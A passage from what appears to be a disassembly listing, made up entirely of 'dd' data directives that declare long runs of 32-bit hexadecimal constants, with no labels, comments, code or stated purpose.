0B12BA2CFh, 9C1C2DBEh dd 2E5B1967h, 6F5FB432h, 85F45892h, 0CC2AB80h, 975EBF37h dd 4E58EEC8h, 1B2B37D8h, 9D9C2BC2h, 0D147C8A2h, 941F5C60h dd 6051F0F4h, 7D56CB14h, 385B62BBh, 13B8BC94h, 42E11F42h dd 0BEA13EBAh, 14DB82C9h, 0FEE1F41Ah, 7BDB337Dh, 0DAE85668h dd 0EB0C66B3h, 7976B24h, 297E9EDAh, 0CC50E31h, 2F1B120Ah dd 2C74090Eh, 9946223Ah, 8D54D843h, 822A7F92h, 3D6D673Dh dd 6751D9C6h, 234F40F4h, 0D476A36Ch, 0A9DD6672h, 0B480D5CEh dd 0F8522BC6h, 587346B1h, 6DDF93F2h, 0ABCA2443h, 699DDDEBh dd 0F578D1ACh, 562AC4C0h, 0E0A44EB9h, 1C4CCFFEh, 89498D9Eh dd 0C43E4A05h, 0FC6BC8C6h, 0B60B588Bh, 9645150Bh, 549FC19Fh dd 0C37EFAEEh, 858A12F1h, 0AA1477Ch, 6FFDC97Dh, 29E88ABFh dd 9B837190h, 0A1C33246h, 419AA0BAh, 949A38F1h, 9ADAA084h dd 1E2C1349h, 36797E94h, 6CEF810Bh, 0BF7A8A79h, 0EE701A09h dd 4182EF66h, 505AED89h, 3FA2CAA9h, 709449ADh, 46B7D262h dd 11B1A37Bh, 0E42245C3h, 0F74822E8h, 0BD745EA1h, 5F05F267h dd 988DDCA0h, 0D4FA7CF7h, 0CC8F0BE8h, 0F5A3B003h, 0E4B80796h dd 827173E8h, 0B82187F2h, 79E84501h, 0B8E8E571h, 0E3765863h dd 0F785F605h, 4924712Eh, 67735315h, 2DC89505h, 0CC67D13Ah dd 5F799F66h, 0FB47AC5Fh, 0ABEF67FDh, 2E0A6D4Ch, 0ED83E374h dd 1B53EE7Bh, 27E5A6D3h, 946E91A4h, 0DB63474Bh, 607C4CD7h dd 4ED3C2D0h, 0D806F17Ch, 0A5A0F942h, 270B0100h, 9C17A4B0h dd 0A308195Fh, 0F8AA11C1h, 2993B309h, 0F0743223h, 9BAA1CA1h dd 3F7DB66Bh, 0F21565CEh, 4B0C0270h, 0C97AA088h, 9F8B31D4h dd 0DF60EBC4h, 5C1E1886h, 31306CA9h, 1E2A673h, 8552E692h dd 83556B33h, 0D635B0A5h, 225184E0h, 0E51D897Dh, 0B72C53D6h dd 0F202BF0Fh, 29CC607Ah, 3E3BB996h, 8BA14247h, 0E4AEAA17h dd 6DB4BFC8h, 0AE1D97Bh, 83FD0B3Ch, 21FE1F1Ch, 412D3E3Fh dd 0EC6722C1h, 42993F24h, 199FA61Dh, 994F13F2h, 0A3C05AB8h dd 69CEBBCh, 0EA148FEBh, 0C3718207h, 0BA87B597h, 3C15FD92h dd 674C6CC3h, 0F79C178h, 7B3B0790h, 84F4D603h, 3B8F6E97h dd 7981CD43h, 0C3DEFCAEh, 0DC793F86h, 1B0EDAEAh, 1372CA1Eh dd 0F728B867h, 66A6B579h, 97C890B3h, 1FC0AF99h, 0EDF313A2h dd 0D1D844E0h, 31601D5Ch, 7D24551Ch, 0FB0D6394h, 7852051Bh dd 69BC7BE1h, 30FB3C27h, 35BDA60h, 0A6D757Ch, 5E88A13Ah dd 80F45F02h, 0D35692CAh, 0B4288D23h, 5495AB66h, 7511462Bh dd 0A1686901h, 0FE1AD21Dh, 0BBE5087Dh, 0AADBAD16h, 0C9EC0678h dd 0EA5313EFh, 0E5803F7Bh, 0B1E27235h, 627A3391h, 0FAE37861h dd 9DD080F4h, 802CF25Ah, 28D8EB63h, 1CA1328h, 0EBD4F62Eh dd 5D4BC4BFh, 0ECBC7899h, 1C0B6F8Fh, 76D20252h, 12A13503h dd 0E7C89E28h, 0FB54E592h, 0BEC0DEC7h, 9B95B4EAh, 0A2587E2Ch dd 0CFD95986h, 2555BDD3h, 0F7A226ECh, 0C7441978h, 0EE6D2243h dd 19666827h, 0DA844EDDh, 0D73C70A8h, 2891FE5Fh, 51108937h dd 72897A0Bh, 0F6EB1B76h, 283F5495h, 63C7FEF6h, 0E8C2AA0h dd 5E010CD0h, 0E1F43908h, 18925E1Fh, 7B8FC2F7h, 0EB9493h dd 0CD254364h, 71BA726Fh, 2495DFF5h, 0DF1376FBh, 576A013Bh dd 91C0DBB5h, 8A7B8C95h, 9165081Bh, 5BAF4500h, 12921DEh dd 1E25002Fh, 0DE37BF7Fh, 0EC825F29h, 4B81BE40h, 3899CF8Fh dd 4FE75E1Dh, 0C8D243EBh, 7F915E01h, 0A020C929h, 0F1881645h dd 959571BCh, 1CA3BD9Dh, 0DAAB6CC4h, 9DB90F83h, 0E495CFADh dd 81E27C26h, 0E08529C2h, 63F9745Eh, 564E6273h, 9B4F198Eh dd 62B945DBh, 7D051D34h, 0CFC02F12h, 0D9E04110h, 0FAE35E12h dd 9792200Ah, 0CB799754h, 770B5E46h, 0A628A456h, 0F3828966h dd 401D0706h, 1F8508DDh, 5279B338h, 0CAD5B8D5h, 6A796645h dd 8F79385h, 208D0785h, 5C8449D7h, 6B2541AEh, 0F42548B8h dd 845F23D4h, 1A1CF2B5h, 0CAA95DC8h, 0AEE7D920h, 3A5B261Eh dd 9D9DD40Ah, 0BB955394h, 0F994393h, 6317D497h, 5E9C483Fh dd 4AC84165h, 57D0FDCFh, 0FEF99DF0h, 750066D1h, 0F5B31062h dd 93A670B3h, 0E09C2D88h, 6767A82Ah, 93C8D865h, 6DF17D8Eh dd 0CBEB2135h, 0E0830433h, 0F3EFB338h, 52628E30h, 65C66556h dd 0EF028AB8h, 0F93A3806h, 72D7EAECh, 4DC13BDBh, 0D81FB4E1h dd 2A452413h, 0FEE8BDB0h, 0B2A1C77Ch, 7226ACB6h, 0C6CF50A0h dd 0B056E70Ch, 6BC35870h, 0A9AEF806h, 290B3ECh, 0D9E37619h dd 5F437AA7h, 0FE80F102h, 77F931F6h, 0ED48942Eh, 0C8EEAE92h dd 0A6054A95h, 4E66110Dh, 0E292A894h, 327F17F2h, 7622E218h dd 3873241Eh, 0A04F7708h, 7F921313h, 50D584DCh, 6EC1480Dh dd 5E6A1881h, 21C0258Eh, 83166667h, 4CF6B2C0h, 0C42AC5C3h dd 0FC06325Bh, 0F80FC073h, 0BC46E083h, 83952E63h, 208800D9h dd 27DC7992h, 0B61DE6F7h, 46DB6185h, 5B332ABBh, 41BC714Bh dd 74CD81CCh, 78A96394h, 2253F16Eh, 13E7BD4Ch, 0D3E302FBh dd 0F394214Dh, 0CF7B1CF4h, 0F3E3DB1Ah, 3814C583h, 96D856DBh dd 7EB216Eh, 2B487AB2h, 199A7C16h, 50A20618h, 0DFEBC029h dd 26057179h, 56362E63h, 97CE98CDh, 72EAD67Ah, 0BF153FDEh dd 766D85BCh, 2BC17E28h, 0A241F049h, 0F05AC269h, 8CB0953Dh dd 0DFC3EDA1h, 0BD61004Ah, 51E73EB4h, 0B53E14E1h, 66066D49h dd 31D94008h, 1C9E01ABh, 370D19B8h, 0FBD7F5D7h, 451CA966h dd 6B4F0B81h, 9C0B88A5h, 5FC13BA2h, 44841B8Bh, 29C2F681h dd 89BA256Bh, 0A612BD96h, 84E25F28h, 0E7CE5A7Fh, 83150498h dd 2F416C61h, 3F7BB34Ch, 982B77ECh, 0FDD5EE7Dh, 474EF8B6h dd 0ECC1AEF2h, 0DD559F8h, 88362476h, 0E2F15AD0h, 2A419183h dd 74B94E68h, 0A81AD690h, 97C02C48h, 9C573F72h, 81E046E0h dd 71FDF98Ch, 89698A3Fh, 0CA73F0A3h, 0C987B02Eh, 0A4E10CFAh dd 0FBEF143Ch, 64778A06h, 7FF55074h, 0DCBD74F0h, 6782E074h dd 50D5958h, 42C9F5B9h, 0F37D60B9h, 0A281F468h, 0E370F92h dd 0EE675398h, 2D330E32h, 0E83846DFh, 0DD3A5526h, 0C78D7DFEh dd 4178DDB7h, 4A5D8941h, 86403080h, 0AEC702DAh, 0B521A07h dd 634AB20Ah, 0E50F9E9h, 7AA0432Ch, 8B5D8B4Dh, 0F657BB03h dd 0B59BF913h, 86204EB2h, 0FC555B61h, 550B6233h, 0D694DAF3h dd 0C5782B44h, 51B54B18h, 1AE96A08h, 0A38E1120h, 375458EEh dd 1EB75797h, 0A7B18A69h, 89CBCDF4h, 5E7A12F2h, 0C5263DE0h dd 0B603BDFAh, 0D3131EECh, 0B667A890h, 2E784ADBh, 63AFD6E7h dd 0A6FC90BEh, 0E9F1EEEAh, 0D381239Eh, 1ACD3B62h, 59FB9615h dd 53CE772Eh, 0E942EAAAh, 7DFBACA7h, 0EEF56B6Eh, 0AEEA62CDh dd 0B2359993h, 3ED157A2h, 695F99C2h, 0EA04D4B2h, 735DB80Eh dd 95D26B3Bh, 24BBD06h, 0B5D1D07Dh, 0A9215310h, 51C5EB7Eh dd 0F20508Dh, 3D047799h, 0C24E543Ah, 0DAB1246Bh, 0A5317042h dd 2D65E7E0h, 23935FC4h, 3726C54Bh, 9FAFC233h, 66C882BFh dd 0C6AC5691h, 97966337h, 0BD14A710h, 33B4406h, 0C3D567C5h dd 20B46A65h, 0BAA8A4BDh, 0CD1901E8h, 845146C1h, 37A21AC4h dd 0E0C3220Bh, 159A289Bh, 27F97D40h, 0D146CAE5h, 7475EDA9h dd 20C7A9A1h, 5B8DEDEDh, 6113D5EFh, 0EB73585Dh, 0D4D7D71h dd 52914C27h, 7A34F155h dd 6A26611Dh, 0B02C65A7h, 5748AC27h, 705A1ECCh, 9640B0C1h dd 0B4E9B19Ch, 0FE99D61Eh, 0C9794BEh, 725AA948h, 0DEB61C5h dd 390E4453h, 0CCE19627h, 0FA7323E0h, 0F5F2E47Ch, 5100154Fh dd 799C9C86h, 293FB882h, 0B958502Ah, 0CA616688h, 55D9DE19h dd 0FA0A20CAh, 0D209B0FDh, 0AD9526EDh, 54E380E8h, 1A43EE0Ah dd 61AEDAEh, 0EA5F9F11h, 36DC5FF9h, 117A2027h, 7984D483h dd 73BD5CC8h, 57CEA581h, 3FAA311Fh, 8E30B1FBh, 41A5F692h dd 9C1B5211h, 0C67CF308h, 57B35E84h, 0B00B2930h, 0A2D98DD6h dd 9B91A9F1h, 9EDFD9B4h, 40B72F83h, 0E54B5EFCh, 0FDB434EEh dd 0A6E876F8h, 8017E268h, 0BCFDCF1Ch, 0F3DF019Bh, 0C5E567F0h dd 42377DEBh, 339AB87Eh, 8B0168CFh, 133553FCh, 9633CFD4h dd 62EA1DB6h, 0D70FCC8Eh, 4E200619h, 0D7F61720h, 18465009h dd 335299C7h, 0C974DD0h, 0C241187Fh, 78B1FA7Dh, 0D9917104h dd 24AB4C54h, 0D7738E7h, 0CCB43D81h, 0B062BD35h, 68E02A79h dd 0C66BD971h, 0AD5F7CDEh, 89E869A1h, 72CF6BE4h, 82A26CA2h dd 0C705345Ah, 0F17BCF5h, 0EDCED379h, 31EF2E4Dh, 0FEA06E13h dd 0C7E2424Ah, 3EEE6CBFh, 0CFC0FBB4h, 8E3851CBh, 7772A852h dd 0C637138h, 707E374h, 89EE7818h, 0D27C9964h, 53929744h dd 0ECBB0A13h, 2950C63Bh, 0D4100139h, 8A2CA6E7h, 15F12968h dd 78AB5EAFh, 4995A376h, 0C4064DEh, 86CD5128h, 0F28D9D8Bh dd 0DB6D741Ah, 305EC225h, 10DFB0A1h, 0F09AA691h, 0CFEC319Fh dd 0F46E2130h, 1440126Ah, 896204F9h, 0DABF8C5Ch, 0E8428461h dd 0AD7655A9h, 335CAAB4h, 0F1DFFEB4h, 44133538h, 0AC67E856h dd 70D70F2h, 0E927F1A5h, 7F35CD62h, 2BC2E7EBh, 0CDBA40Bh dd 0BD8CF1E1h, 0DA04F7BFh, 0B4E56EDDh, 9E67577Dh, 0B6BEF142h dd 10096D27h, 0C9D9950Eh, 85EBF8FAh, 0ED41E66Dh, 6B532294h dd 0BE7D40Fh, 1B77D463h, 0AA6F2B45h, 1C2B5666h, 9F27225Eh dd 944E9F15h, 9790216Dh, 0E0230E3Ch, 0E73CAC35h, 5A62C878h dd 756A7097h, 0C661CFFh, 0B445098Dh, 0D9CC5E88h, 9B1406BFh dd 93BA5381h, 0CDBD6363h, 2F384E1Ch, 56F36E79h, 62BAA46h dd 61BEF8h, 7C7BF9E2h, 0D15AE1EEh, 4A2516D4h, 7528B1C5h dd 41F5C32Fh, 19A53336h, 6E428792h, 1163DD2Fh, 6C38AB30h dd 4B6D959Eh, 211333C4h, 8873810Ah, 0D3CCC1F5h, 7639216h dd 0EAE14A07h, 0A2559F00h, 551ADFB8h, 570AF83Ch, 5C12E93h dd 0E9B6AEBCh, 492681D7h, 182FC31Bh, 0A9DDF72h, 0B82F46AEh dd 0CCA0B02Ch, 0C507DD67h, 6444A81Ah, 4635B6C1h, 10E8DC79h dd 9A78A70Bh, 4B4CDFCFh, 7FC466A9h, 0DADA01B2h, 7F1211AAh dd 8F3434C2h, 86CC048Ah, 0DF577Ah, 86A7CB3Eh, 0EC3E9620h dd 0A7BBB5E7h, 0B979C284h, 40F10190h, 95F2A6D4h, 0B44A3F3Dh dd 0FE20CA12h, 0FD3276F1h, 1FF69B15h, 0C7D507E9h, 674414D3h dd 41889783h, 0B1635747h, 3A764627h, 6CE80D8h, 9DEBA10Dh dd 8407DC61h, 10B89D7Fh, 15946ABDh, 0F16C6E22h, 9FD857E9h dd 49B034D2h, 0FC79112Ch, 2144E4EAh, 32CAF9E2h, 48E93265h dd 170376D7h, 0EEB8DCBAh, 54A99B58h, 22BF6A67h, 71D4163h dd 0DE89285h, 3153E66Fh, 819D7FBAh, 0DC7859FDh, 6F7A8DBAh dd 2F58FBF3h, 5A864575h, 8B9F6BEBh, 0CA0A8377h, 45EC6070h dd 0AF236D0Bh, 0DE0C7B8Eh, 12F4C9E8h, 218318C6h, 7AC67B39h dd 0DFB22D7Ch, 0BF50AECDh, 108C55D4h, 0E662C1B7h, 0D4B01AD8h dd 0BD1117Eh, 11C4988Eh, 0CA9C5B0Dh, 0D578CC80h, 0CE7A2A15h dd 1E0D2A3h, 0E131B0F0h, 5C9F995Ah, 5382BE2Dh, 0B7B7616Dh dd 64D7F05Ah, 0ACAB7B4Ch, 0A339A66Bh, 6E60571Bh, 38F5B307h dd 0A290482h, 781DE9D3h, 0B4D8EF2Ch, 23BF567h, 7FEC6350h dd 0F23BBEA0h, 0CA9796EDh, 0B15EFB12h, 0EE0001DEh, 31D00DAh dd 48CA1165h, 0CFD8CE1h, 0D4255B70h, 875D2B5Bh, 490F3A4Fh dd 65550277h, 0B10C9AE2h, 0CBF00F0h, 864DF20Bh, 184043D4h dd 2EF2CD84h, 0E6AAB630h, 0E7B7D462h, 0CDD87FE1h, 0EFE4669Dh dd 7A76971Ah, 3411F452h, 0FDEC3966h, 0FDA8C2A0h, 1687B6EBh dd 0E82BDD4Bh, 0EEF06A12h, 144669ABh, 0D88E039Ah, 8C9F61B7h dd 0AE34FEAh, 2373776Ch, 0F86A4ABFh, 132F8B2Eh, 9586E0D2h dd 90694D58h, 81B8E047h, 0FC74B745h, 0E1AC8CC7h, 0CF69A20h dd 9871DF80h, 18E8CD0Ah, 2B9521B2h, 95001107h, 66971AE0h dd 0B5B27A23h, 0EED5CE51h, 0CAE842EAh, 156A1F00h, 0C0469896h dd 820CEAC3h, 6AA39326h, 142728F5h, 8D095E8Bh, 1F0F11DEh dd 70383C83h, 0DE7F298Fh, 0A5E306Dh, 331008A1h, 0A54409Dh dd 9DC401A5h, 8A9A05B2h, 8F0E23B5h, 0BB694307h, 3C1D4BCDh dd 268DC61Fh, 300DFCE1h, 968607DEh, 0CF6283C3h, 0B4D36EA6h dd 0F4FACF4Fh, 0C99D4976h, 90A52993h, 2186BDA7h, 0DC5AC35Fh dd 958A3E5Dh, 582D3F77h, 626979C3h, 0BF0DC7Ch, 0EA392D00h dd 4D965B96h, 0E026EE0Dh, 0A34454C3h, 18ACD0E9h, 0AE8AD135h dd 237A7D3Bh, 59C431ECh, 922945CDh, 0EE779B21h, 3E7C5DA8h dd 0EEAD66CAh, 1465D70Bh, 0BCD79CC4h, 835A2019h, 0C14CC27Ch dd 90CB3410h, 85EDA152h, 9180C340h, 0C9B30DD2h, 1ADD171Ah dd 32B69EDAh, 0D4E26E46h, 7F35191Ch, 728C8EBBh, 1FDBF0Dh dd 8AC908EBh, 0B8ECB658h, 0B08B3612h, 0D6C3D1A7h, 498AB192h dd 42EDB950h, 0BEF0515Bh, 0F96A674h, 0B350F5A4h, 0A1757504h dd 10AAEC78h, 4D7DBC8Ch, 0C5021345h, 2AF19074h, 5DEB3E75h dd 61544B66h, 0D2312740h, 7D97BFB9h, 36C69D5h, 65F10BF1h dd 2E70CCFCh, 6F4D696Dh, 3B908692h, 7C301254h, 0CC42445Ah dd 0C96E33E9h, 0CBEF5D0h, 0EAC935B1h, 41DE8641h, 0B2165CF6h dd 0B84DE87Ch, 2714DF59h, 67BC0EE4h, 68F714CAh, 0DA56DB34h dd 0AB798AEh, 0AD5740A0h, 0B7AECE8Fh, 6EB5CB75h, 0CC346E44h dd 0E3127CDAh, 16AD7E27h, 0BB97A51h, 5B03F856h, 4AE6DA3h dd 5FB40A20h, 6D9FABD8h, 0A8F36004h, 0A0EB527h, 0FDD7FF4Dh dd 0DEE19CE7h, 37E79EE0h, 1F442B47h, 2DD8B308h, 2232C352h dd 9F247DADh, 0E3F02BB1h, 2CD267EFh, 437B8C4Bh, 90FEB6E8h dd 4E8F2679h, 4F10ADB0h, 67D89FFh, 0AEEACE9Eh, 0B5DFD545h dd 88BB3C1Ah, 7768E0BEh, 4DB3DD74h, 767EAA4Eh, 5158F93Ah dd 40B2B891h, 3472416h, 9FAB0C79h, 0CC4015A4h, 70DA675Fh dd 0C0F15680h, 0C8A3BEF3h, 9C8DFD98h, 0BCC6911Dh, 8ED0A244h dd 2729FB58h, 8DECA168h, 0D13BB132h, 571DF4B5h, 4F8DA397h dd 0D1488218h, 0F9FD142Ch, 7560D04Ch, 37BC5ECAh, 10400949h dd 4F2B62CCh, 774372C8h, 82E063FBh, 0F4E9241h, 0A278B56h dd 514F20E3h, 67296569h, 4CBB86A0h, 5FBED111h, 74F4A9B5h dd 2E7738ADh, 6E4CD92Fh, 7E436C46h, 6D697C7h, 0BE60A7AEh dd 789EA55Fh, 4997C1BFh, 165D0706h, 8D920714h, 0FE1B9C21h dd 57221717h, 69C5B376h, 0C7492413h, 0ADF6819Ah, 0DC874265h dd 0EFC8EF33h, 4C06DD2Eh, 0DE2D3F7Ah, 5A88A333h, 5E115089h dd 0BF1B74EFh, 0EC67E2D0h, 61B298ACh, 0E4AAE323h, 0EED0361Ch dd 47C6C04Dh, 6B1F0E45h, 4A589868h, 0D555CD1Ah, 3BAAA8B1h dd 0FE017646h, 5DA20BD6h, 360685F8h, 6A3F5931h, 0AB4BA4FFh dd 0F142824Dh, 3BFB8BB5h, 0F6A2F21Fh, 50FC7B5h, 0FD7DBD74h dd 0AFF1EF23h, 0CEC97CEEh, 8ED0561Ah, 676562A1h, 1E4064CAh dd 2A54AB7Ch, 122AA6A3h dd 0E043521Eh, 9C06BCD6h, 7BB8ED80h, 838AD48Dh, 0EE32AF85h dd 555ED3A7h, 56E1CEB6h, 8BEBE26Bh, 2CA1A48h, 848B346Eh dd 0F3BD366Dh, 0B1B270A9h, 3F05361Bh, 0AB5F78D1h, 65AFB4F7h dd 0B9183259h, 0D1F6B4DAh, 9C377510h, 0B9B889EEh, 0EFAD4C60h dd 0B64327F8h, 1B717F6Fh, 42F03085h, 838B8DE1h, 73906E77h dd 770F32EEh, 0F30126BBh, 30929DEEh, 56C5471Ch, 0F8631FBh dd 0D7BCEB6h, 9B2E4DB2h, 0B393C20Ch, 2C1ADFC2h, 2DA26059h dd 0B2D5E0CDh, 0AD73816Ah, 7DABFE6Eh, 443FF531h, 92AE3552h dd 7946E234h, 0F595E3BEh, 68246B67h, 823D0894h, 8C7DD421h dd 94C7F943h, 3BF818B2h, 617F4636h, 0FDFAB2Dh, 18114B5h dd 6717BE11h, 34D752B3h, 0AB9E6F15h, 8B74E349h, 3C619B12h dd 1D5C13C5h, 5B8BF40Dh, 0F09F28D4h, 8F932FC4h, 6814C13Ah dd 0EB423CACh, 19DA080Dh, 0FE4CFB40h, 0F7B98B85h, 0B94A88C2h dd 9D0FCA68h, 150A435Dh, 0ABC7A0EDh, 214A1E5Bh, 16C7EDD9h dd 56EE6DBAh, 0AE7999BDh, 6D67747Ch, 0FEB17F4h, 0C35D02EAh dd 5B629BB0h, 0C02A41B2h, 0BFD671F3h, 6FEE64CBh, 4AC0D26Ch dd 57481CB4h, 736B97D4h, 0FFDCFE5h, 7B3E355Bh, 93A5DB33h dd 47D98550h, 0D875F2E9h, 94F77Fh, 27BA7B7Ah, 7EBB76Ch dd 55711EF2h, 0EDE1E767h, 0F5938C60h, 0BC54B3ECh, 0EC37421Dh dd 0EB23D892h, 0A2AF67E4h, 0D01B5B7Bh, 0BE04327Dh, 0A8449D4Ch dd 0A2AA8C72h, 65B9ABD1h, 8D8075B9h, 6399A9B8h, 0F7F36475h dd 2D1894Dh, 0C3D3BFF4h, 127898DEh, 0B98EDC12h, 0D6C7BEF5h dd 461DBEFEh, 0CC421D01h, 0F202D475h, 0A14ADF74h, 77042C11h dd 0C94AB416h, 6FA67B56h, 779A47CCh, 6C6EF43h, 669E2304h dd 0BD2EC58Ch, 1DF36A3Ah, 0B17A8F84h, 471CC9F5h, 4229C0A3h dd 9E501352h, 6426D289h, 61307028h, 202442CDh, 0AF6A0053h dd 0AB0B42B9h, 42F63015h, 0C9A4CB02h, 0C658987Ch, 6631E476h dd 3F04735Eh, 33329A09h, 0BC631221h, 1B04D51Eh, 0DEF51AB8h dd 80C7F897h, 4EF82785h, 16F07F5Bh, 0BD9D1FFAh, 2F9AD68Ch dd 7602D8F1h, 0ACAD2620h, 5608FC61h, 74A377F8h, 851918E1h dd 0D34F1C97h, 0CB4C3585h, 529FE92Ch, 23F4781Dh, 2DE664A0h dd 262F0032h, 0EAC96867h, 90CB586Bh, 570797D0h, 93C72EABh dd 0D05F907Ch, 55A6AC78h, 64812B42h, 0A8D97B6Fh, 87FE3638h dd 9CD51375h, 630E3179h, 368A34C0h, 0B914C2C5h, 1B54E53Fh dd 966711B8h, 0B7C39203h, 8B55AA78h, 51FC92BBh, 49A7B125h dd 84A1C1CEh, 350712D0h, 0BABAE646h, 0AB89CE0Ah, 5FD0953Dh dd 6862E432h, 0BE210EB4h, 834B095Fh, 1826AA03h, 0D10F34B1h dd 15D81A12h, 78F4E6FCh, 8FBC4409h, 0CB615A1Bh, 0EC36D70Dh dd 0BFE6805Eh, 1282489Fh, 0BFF8D6FAh, 43EB9D96h, 6B417EC0h dd 4C8E533Eh, 9366F10Ah, 825BC05Ah, 4E8DB51Eh, 0B1E7FB3Ch dd 0FAFFE4FEh, 2495529Dh, 7BD45DD9h, 28A64A7Ah, 76E69E55h dd 0E6A7B499h, 33901B91h, 82F7B915h, 6799999Eh, 1610EDFFh dd 0F9668A09h, 948749B4h, 0CAC2A1F8h, 0C38FB8A0h, 9DC88E36h dd 43D825FBh, 317875EFh, 0AC84187Ch, 131E9100h, 805DF612h dd 3608E0BBh, 27E7000Ah, 0A30147BCh, 407875DAh, 5C82AFFCh dd 0D12C99B9h, 1F5C8FD2h, 2D87B48Ah, 46A740F3h, 0E6004F6Dh dd 0BFC62150h, 908DD866h, 441B6B1Bh, 0B4C3357Bh, 0FFD794D2h dd 842A5E9Bh, 7E2973E9h, 0C034A40h, 0FD2DE378h, 0D96FAA1Fh dd 0D945FF09h, 8BF32559h, 7419C978h, 121139AAh, 337F0090h dd 0C9869DF9h, 0EF051F49h, 867EFA98h, 65EF95ABh, 0E9011981h dd 3CA327A1h, 6A6E0866h, 2AFE28DAh, 52EA4CC3h, 3B4D7495h dd 0B2D49F6h, 0B4F4D0BEh, 0E1D63175h, 8FE839D6h, 0B300B790h dd 65769E58h, 0D86B8858h, 0EBD06DCh, 0EE39475Ah, 3AD08023h dd 371AD9EDh, 7551CE76h, 0D8CBE9E4h, 54EA69E2h, 0E44A2821h dd 3142B0FBh, 0F430CDFBh, 9CBD8680h, 8865C744h, 0A236BF9Ah dd 954D48FEh, 3E5798EFh, 7A5BC2ADh, 11D41EC5h, 567B1960h dd 76CB2433h, 0F2027F2Ch, 837C737Ch, 0CF95C5D3h, 2E4AFC5Bh dd 3B3B7ED6h, 0E69F851Ch, 1CDCCBD9h, 0F7168D0Ch, 0B0C58320h dd 4C64DC2h, 0F0E1AA47h, 5DBA42CFh, 2B7C9577h, 4C9B9799h dd 38CCB0D8h, 0A1C213D7h, 0AD559259h, 8E5A8EFh, 61EA2950h dd 0CC8ECA36h, 5252B93Eh, 0EAF48BCh, 2FFC7BE2h, 0FD9DE7CBh dd 435E855Eh, 5C410A0Dh, 5F0A5B9Ah, 0A63B2280h, 6FF77A37h dd 6675AB56h, 0E09462A8h, 0BE86026Fh, 8B359C9Dh, 82E6ADAEh dd 479C6D49h, 9B0FD065h, 0CAEE7316h, 8BE3AEE8h, 0A81BA48Dh dd 0F2E38700h, 6650646Ch, 0B3E0EB83h, 0B5FE7B4Eh, 4E6D813h dd 95F9F523h, 0E095855Dh, 67E9880Fh, 89AAFD70h, 0E219353Bh dd 0AFFA4608h, 44E286F9h, 49139C20h, 5F4293AFh, 23EE49A5h dd 0AA6658CFh, 0E791158Eh, 190BBB58h, 0D3B4BD7Dh, 356EF090h dd 401E462Bh, 0F59CF34Bh, 78810172h, 17D942FDh, 902D3861h dd 0C44AADF0h, 2303A4C6h, 772F5268h, 0C62FCEB5h, 8765FD49h dd 0B47C635Dh, 2ACAFF27h, 3B82E00Ch, 1FAE2DDCh, 57B6823Bh dd 0D992E814h, 0FF1A47D6h, 3D6DFC01h, 9C4EFC4Bh, 6FB79967h dd 0B8A2B299h, 0D31B10F2h, 0F981A0EBh, 3982CAE7h, 93C6F212h dd 915DC8AAh, 0B04AB677h, 0E89BC65Dh, 35C630B5h, 757B08E6h dd 0ECA473FEh, 0B1F2C3E0h, 0B7ACEF26h, 8233C76Ch, 759AA4h dd 0EED3B61Ch, 219E05CAh, 0E1BFD3CAh, 0ED55ED81h, 0E372C775h dd 0B40970F2h, 0B1BB041Eh, 64096DE3h, 0AC09A041h, 60B519Bh dd 5D446468h, 199232FCh, 0D9DA404Fh, 1BA7614h, 145B4DE6h dd 5D587B4Dh, 2A099EC3h, 5E257444h, 5419BA8Ah, 0E2341D25h dd 0D0F09A53h, 1E24F782h, 19BF5B48h, 0B3C51801h, 29B0B0D5h dd 0B18723Fh, 8096AFC5h, 0C21513B5h, 48B7C29h, 0C2ACBE2Dh dd 0D20BE50Ah, 2C8CBB6Ah, 642AE4A4h, 0E690BACDh, 0D13EDF08h dd 0C3039CD2h, 35876991h, 0E9A7F2D4h, 3F8C4BA6h, 72BC4610h dd 4F848A7Ah, 4BCD345Eh, 695C8111h, 5AA0FF76h, 598C0895h dd 39CAE520h, 0A0DB0FD1h, 0BD3CEE86h, 345942A7h, 0FC0B987Bh dd 65F1E279h, 9F451463h, 105C3A31h, 1F5B6188h, 8F622550h dd 77A5DD85h, 3D31FE49h, 0C30B2FBEh, 0A8AFE931h, 0C571A7h dd 0DF578984h, 0B4568C45h, 3C9B4450h, 1AD31DE5h, 6884941Eh dd 0E72E40DDh, 856FAA98h, 0F6E7EE5Dh, 85DC5ADBh, 4D0FB3A4h dd 1CD4F877h, 2E50F3Fh, 53A8D082h, 63DB2360h, 0B33D2FF5h dd 0B3C32FEAh, 6BA2ADh, 0C065E61Ah, 55FEC78Fh, 0B09EB320h dd 0E02798AEh, 0E5A625h, 90654DA7h, 0A451E090h, 72650F9Eh dd 0FE0706D5h, 0D30B2985h, 741E7E27h, 5E8798D5h, 81BB2BF9h dd 674707AEh, 736AD62Bh, 1D77E609h, 9BD5B8ACh, 20F7FCB1h dd 0A4BC5F04h, 1A5BE615h, 0F5741BDh, 58B103ADh, 6280CB47h dd 1F5B07EEh, 35D4AE98h, 0A1752FC1h, 888FA330h, 0A25597A4h dd 0BF68AF53h, 0B2F562ECh, 7F917B33h, 0A39FD61h, 7835A72Eh dd 0C234236Eh, 3AFAF221h, 0D0296AEh, 0D18A3476h, 0EC64521Ch dd 55187715h, 0BD2C6CD9h, 0CF076183h, 8797BFF4h, 9B364684h dd 405BB72Ch, 0FA050360h, 687A3710h, 0ADD9C821h, 99A8FB0Ch dd 0B8F60F6Ch, 41AF3A75h, 2E601D17h, 60E9ECh, 80C8BDF9h dd 0C0F28788h, 44DE87E4h, 26B255A7h, 0EBC5C9ADh, 7E241734h dd 21CC7883h, 0C7A918F8h dd 32291461h, 0FBEC1D22h, 3FD7A1E2h, 2F9688DBh, 0CCCF935h dd 0DF16CBB3h, 0ADF13B29h, 0AC2D2C71h, 0DADE4204h, 0B28DA047h dd 0D826735Dh, 0B5A8E94Eh, 1DEB3FADh, 0B21EBD7h, 0E3D9842Ah dd 0A99D1C8h, 2116E012h, 1DCF3E37h, 0AC49055Dh, 19A38986h dd 2E7A2FABh, 69D73D8h, 6BA183F6h, 3A3A43ECh, 8A7EFB6h dd 0E3AB2E44h, 0E49B556Ch, 0DD892941h, 0EB45FD3Ch, 33A4DE98h dd 8B55524Ah, 2194B853h, 9575F119h, 2128E673h, 56D72178h dd 0B924A354h, 7ACD0A47h, 0ACD1789Ch, 172157CFh, 1C268E03h dd 0F9EBF2D3h, 87B35DBCh, 0A35FEAFCh, 42301BC3h, 8E1A0C4Eh dd 0FDED4F25h, 0FCE259DFh, 0BDF83832h, 4DF8DE0Ch, 5DC1A777h dd 8320ED07h, 0A29262BBh, 0CAD46C3Bh, 7B150BB2h, 0A71F8744h dd 0D11A43D0h, 8889E665h, 0C68879A1h, 